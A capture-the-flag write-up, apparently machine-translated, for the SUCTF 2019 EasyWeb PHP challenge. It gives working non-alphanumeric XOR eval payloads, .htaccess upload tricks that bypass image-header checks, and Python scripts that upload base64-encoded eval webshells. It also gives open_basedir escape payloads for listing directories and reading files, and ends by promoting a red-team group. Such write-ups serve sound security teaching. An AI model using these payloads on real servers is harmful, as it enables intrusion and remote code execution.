SUCTF 2019]EasyWeb
Test site:
- No alphanumeric shell
- Use htaccess upload file
- Bypass open_basedir
Source code audit
<?php function get_the_flag(){ // web admin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); //Naming format (upload/tmp_md5(ip)) if(!file_exists($userdir)){ //Judge whether the file exists, and re create it if it does not exist mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); //Output file name Example of data after: 123 php output php if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); //The information in the file cannot be obtained <? if(!exif_imagetype($tmp_name)) die("^_^"); //Used to check whether the file header matches the suffix of the file $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_']; if (!$hhh){ highlight_file(__FILE__); } if(strlen($hhh)>18){ //Length bypass die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) //No number, letter bypass - command execution -- bypass die('Try something else!'); $character_type = count_chars($hhh, 3); //count_chars -- returns information about the characters used in the string if(strlen($character_type)>12) die("Almost there!"); eval($hhh); ?>
Audit results
The following is rce without numbers, letters and parameters
Using the previous notes p Cow's notes https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
Chuan Shen
$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff); \\assert $b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b; \\$b = $_POST $a($c[1121]); This method is divided into two types, one GET Type A POST Type Here is POST ?_=$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;$a($c[1121]); then post: 1121=phpinfo(); Here is get mode ?_=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo();
The above is the XOR method used, and then we can also use the classic features of php
Ascii Code greater than 0 x7F All characters are treated as strings, and and 0 xFF XOR is equivalent to negation, which can bypass the filtered negation symbols.
Here is the script
<?php $l = ""; $r = ""; $argv = str_split("_GET"); ##Will_ GET is divided into an array with one value stored in one bit for($i=0;$i<count($argv);$i++){ for($j=0;$j<255;$j++) { $k = chr($j)^chr(255); ##XOR if($k == $argv[$i]){ if($j<16){ ##If it is less than 16, it means that only one bit is needed, but the url requires 2 bits, so fill in 0 $l .= "%ff"; $r .= "%0" . dechex($j); continue; } $l .= "%ff"; $r .= "%" . dechex($j); } }} echo "\{$l`$r\}"; ### The back quotation mark here is only used to distinguish the left half from the right half ?>
implement
Get -- \{%ff%ff%ff%ff`%a0%b8%ba%ab\} ==get
It is worth noting here that ${_GET}{%A0}Is equal to $_GET[%A0],%A0 Is a character, though not quoted The number led up, but php It won't be seen as a variable, That's why&_GET[cmd]=&_GET["cmd"] Yes. Another feature is $a=phpinfo If implemented $a() It's equivalent to execution phpinfo()
payload
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
We can execute phpinfo
Then get the flag
But in fact, this is an unexpected solution. The real solution is to use htaccess file upload method
We can know from the above code analysis that we can upload files and then call get_the_flag In this way, we can get flag The way is the real expected solution. But the question is, which portal is where and what files we want to upload. The above code analysis is used to Analyzing the format of the picture, how can we upload it is the biggest problem.
First, what files are uploaded
Let's call the getflag method first
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
A blank, nothing
Don't panic. In fact, this is because we trigger the back-end code of php file upload.
analysis
The points that need to be bypassed are php The bypass of asking price suffix restricts us from uploading php file ,Cannot upload php There's no way we can do this php Analysis. method: For this site is a apache Server, so you can upload.htaccess Documents. about.htaccess Detailed analysis of the file. There is a summary in the previous file upload. The main use is.htaccess Files can be directly php Parse and execute. two:bypass<? method: We use it directly<%To bypass. because php = 7.2 So it can't be used<script> 3: Bypass header check, bypass exif_imagetype()function method: use\x00\x00\x8a\x39\x8a\x39 bypass use #define width 1337 #define height 1337 bypass
After clarifying the methods of uploading files and bypassing the inspection, we began to write htaccess file
Writing method 1
#define width 1 #define height 1 AddType application/x-httpd-php .pxp php_value auto_append_file "php://filter/convert.base64-decode/resource=1121.pxp"
Writing method 2
\x00\x00\x8a\x39\x8a\x39 AddType application/x-httpd-php .ss php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_837ec5754f503cfaaee0929fd48974e7/1121.txt"
analysis
AddType application/x-httpd-php .txt ###Will 1 Test is parsed in php php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_48cd8b43081896fbd0931d204f947663/shell.txt" ##In shell After the txt is loaded, the base64 decoded shell is included again txt, success getshell,So that's why it happened twice shell.txt The reason for the content, the first time is Not after base64 Decrypted. The second time is decrypted and converted into php Yes.
After writing the configuration file, we write the Trojan file to upload
\x00\x00\x8a\x39\x8a\x39 <?php eval($_GET['cmd']);?>
We also need to bypass the validation function of the file header
Here is the upload file - python script is too poor to write
Here are three
source
https://mayi077.gitee.io/2020/02/14/SUCTF-2019-EasyWeb/ https://www.shawroot.cc/1840.html
Step by step upload 1
import requests xbmhtaccess=b""" #define width 1 #define height 1 AddType application/x-httpd-php .qiu php_value auto_append_file "php://filter/convert.base64-decode/resource=zenis.qiu" """ ### Or xbmhtaccess=b"""\x00\x00\x85\x48\x85\x18" ### AddType application/x-httpd-php .test ### php_value auto_append_file ### "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/1.test" ### """ url="http://3f165c30-20ac-4c51-8d4a-742208486edc.node1.buuoj.cn/?_=$%7B%86%9E%9C%8D%5E%d9%d9%d9%d9%7D%7B%d9%7D();&%d9=get_the_flag" #upload files={ 'file':('.htaccess',xbmhtaccess,'image/png') } r=requests.post(url,files=files) print r.text
Step by step upload 2
import requests import base64 url="http://27599faf-aa11-40af-82aa-79ff4bc28fe5.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag" htaccess=b"""\x00\x00\x85\x48\x85\x18 AddType application/x-httpd-php .test php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test "## here you need to replace it with the file name you uploaded """ shell=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_GET[cmd])?>") #Aain order to meet the base64 algorithm, eight bytes are enough #first_upload ---- to upload .htaccess files1={ 'file':('.htaccess',htaccess,'image/jpeg') } r1=requests.post(url=url,files=files1) print (r1.text) #second_upload ---- to upload .shell # files2={ 'file':('1.test',shell) } r1=requests.post(url,files=files2) print (r1.text)
One step upload
import requests import hashlib import base64 url ="http://a72f9a31-9b77-43e5-b2c1-a31861d4c18c.node3.buuoj.cn/" padding = "?_=${%f8%f8%f8%f8^%a7%bf%bd%ac}{%f8}();&%f8=get_the_flag" myip=requests.get("http://ifconfig.me").text ip_md5 = hashlib.md5(myip.encode()).hexdigest() userdir="upload/tmp_"+ip_md5+"/" htaccess = b"""\x00\x00\x8a\x39\x8a\x39 AddType application/x-httpd-php .cc php_value auto_append_file "php://filter/convert.base64-decode/resource=./shaw.cc" """ shaw = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['cmd']);?>") files =[('file',('.htaccess',htaccess,'image/jpeg'))] res = requests.post(url=url+padding,files=files) files = [('file',('shaw.cc',shaw,'image/jpeg'))] res = requests.post(url=url+padding,files=files) print("the path is:"+url+res.text)
Upload results
test
Even horse
Execute command
Disable found_ functions
Look at the terminal
Error reporting 127
Then go straight to the ant sword plug-in
tmd, as expected, my ant sword still doesn't work.
In fact, I made a mistake here, that is, the windows system used by ant sword. If we want to use plug-ins, we need to use linux system.
View phpinfo
Open found_ Due to the limitation of basedir method, we can only open two directories
For the above example_ Basedir method, we can refer to the article of p Niu
https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html
payload
Column directory ?cmd=mkdir('rot');chdir('rot');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(glob('*')); read flag ?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));
Write at the end
Welcome to join the planet and learn together. There are all kinds of red team resources, tools and tips!